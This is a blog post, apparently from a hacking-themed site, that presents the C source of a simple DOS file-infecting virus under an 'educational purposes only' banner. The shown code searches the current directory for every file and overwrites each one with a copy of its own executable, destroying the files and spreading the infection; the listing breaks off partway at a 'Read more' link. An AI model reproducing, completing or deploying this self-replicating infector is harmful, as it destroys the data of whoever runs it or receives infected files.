Arcane Network
Navigation
Login
Search
Your IP
Entries archive
Keep Visiting

Friday, 2024-05-10, 12:23 PM

ARCANE


Welcome Guest
Arcane Blog & Videos
Main » 2009 » October » 18
****WARNING: FOR EDUCATIONAL PURPOSES ONLY****

This is a short c program which shows the working and infecting procedure of a virus. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the code of the virus program.


[Thanks to Srikanth who pointed out an error in the program and helped me to compile it successfully]
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus ... Read more »

Views: 908 | Added by: KUSH-al-H@CK3R | Date: 2009-10-18

Copyright Arcane Network © 2024 | $POWERED_BY CK-Computers$